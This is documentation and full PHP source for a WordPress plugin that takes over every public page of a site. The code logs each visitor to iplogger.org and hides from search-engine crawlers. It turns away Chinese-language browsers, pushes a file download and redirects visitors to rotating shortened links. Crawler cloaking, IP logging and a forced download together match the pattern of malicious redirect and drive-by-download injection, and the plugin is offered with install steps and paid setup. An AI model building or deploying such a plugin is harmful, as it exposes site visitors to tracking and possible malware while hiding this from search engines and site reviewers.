universal-redirect-plugin
📄 Universal Redirect Plugin Documentation
⚙️ Configure Settings
The configuration parameters are located in the $config array:
enable_redirect: Enable/disable redirects (true/false).
blocked_bots: Block search bots (true/false).
blocked_languages: Array of languages to block (e.g. [‘zh’]).
redirect_delay: Delay before redirecting (in seconds).
desktop_links / mobile_links: Links for redirecting on PCs and mobile devices.
confirmation_required: Display form before redirect (true/false).
download_file: The name of the file to download.
log_service: URL for logging visits.
text_content: Texts in different languages.
🔒 Features
The plugin works on all pages of the site (except for the admin panel).
Logging visits with iplogger.org.
Checking for bots and blocking by browser language.
Adaptive redirection for mobile and desktop users.
1️⃣ Preparing the files
Create the structure of the plugin:
Copy
Edit
universal-redirect-plugin/
├── universal-redirect-plugin.php
└──── readme.txt (optional)
universal-redirect-plugin.php is the main plugin file.
readme.txt (optional) – description of the plugin for WordPress admin panel.
2️⃣ Archiving the plugin
Make sure the universal-redirect-plugin.php file is in a separate universal-redirect-plugin folder.
Highlight the universal-redirect-plugin folder.
Right-click → Send → Compressed ZIP folder (Windows) or Compress (macOS).
Make sure the archive is named universal-redirect-plugin.zip.
Important: archive the folder, not just the PHP file.
3️⃣ Upload the plugin to your site
Go to the WordPress admin panel: Plugins → Add New.
Click Upload Plugin at the top of the page.
Select the universal-redirect-plugin.zip archive and click Install.
Once installed, click Activate plugin.
The plugin will start working immediately after activation. ✅
If you need to customize or remake this script you can write to the administrator and you for 10$ all will be configured.
Below is the full source code.
<?php
/*
Plugin Name: Universal Redirect Plugin
Description: A plugin for redirecting all pages of a website with additional filtering and logging features.
Version: 1.0
Author: PiKaPuss
*/
if (!defined('ABSPATH')) exit; // Protection against direct access
// Configuration
$config = [
'enable_redirect' => true,
'blocked_bots' => true,
'blocked_languages' => ['zh'],
'redirect_delay' => 2,
'desktop_links' => [
'https://example.at/CGnAJ',
'https://example.at/yDY8k',
'https://example.at/2C5SB',
'https://example.at/TehCf',
'https://example.at/yKLha'
],
'mobile_links' => [
'https://example.at/CGnAJ',
'https://example.at/yDY8k',
'https://example.at/2C5SB',
'https://example.at/TehCf',
'https://example.at/yKLha'
],
'confirmation_required' => true,
'download_file' => 'example.zip',
'log_service' => 'https://iplogger.org/your-logger-url',
'text_content' => [
'en' => ['title' => 'File will be available in', 'message' => 'Please wait or click the button below to download the file.'],
'ru' => ['title' => 'Файл будет доступен через', 'message' => 'Пожалуйста, подождите или нажмите кнопку ниже, чтобы скачать файл.'],
'es' => ['title' => 'El archivo estará disponible en', 'message' => 'Espere o haga clic en el botón de abajo para descargar el archivo.'],
'fr' => ['title' => 'Le fichier sera disponible dans', 'message' => 'Veuillez patienter ou cliquez sur le bouton ci-dessous pour télécharger le fichier.']
]
];
// Logging of visits
function urp_log_visit($url) {
wp_remote_get($url, ['user-agent' => $_SERVER['HTTP_USER_AGENT']]);
}
// Determining the browser language
function urp_get_browser_language() {
return substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
}
// Basic functionality
function urp_redirect_all_pages() {
global $config;
if (is_admin() || !is_main_query()) return;
urp_log_visit($config['log_service']);
if ($config['blocked_bots']) {
$bots = ['googlebot', 'bingbot', 'yandexbot', 'baiduspider', 'duckduckbot'];
foreach ($bots as $bot) {
if (stripos($_SERVER['HTTP_USER_AGENT'], $bot) !== false) {
wp_die('Access Denied');
}
}
}
$lang = urp_get_browser_language();
if (in_array($lang, $config['blocked_languages'])) {
wp_die('Access Denied');
}
$is_mobile = wp_is_mobile();
$redirect_links = $is_mobile ? $config['mobile_links'] : $config['desktop_links'];
$redirect_url = $redirect_links[array_rand($redirect_links)];
if ($config['confirmation_required']) {
$text = $config['text_content'][$lang] ?? $config['text_content']['en'];
echo "<html><head><meta charset='UTF-8'>
<meta http-equiv='refresh' content='{$config['redirect_delay']};url={$redirect_url}'>
<title>{$text['title']} {$config['redirect_delay']} sec</title>
<style>body { font-family: Arial; text-align: center; padding: 50px; }</style>
<script>
function downloadAndRedirect() {
window.location.href = '{$config['download_file']}';
setTimeout(function() { window.location.href = '{$redirect_url}'; }, 2000);
}
</script>
</head><body>
<h2>{$text['title']} {$config['redirect_delay']} sec</h2>
<p>{$text['message']}</p>
<button onclick='downloadAndRedirect()'>Download</button>
</body></html>";
exit;
}
wp_redirect($redirect_url, 302);
exit;
}
add_action('template_redirect', 'urp_redirect_all_pages');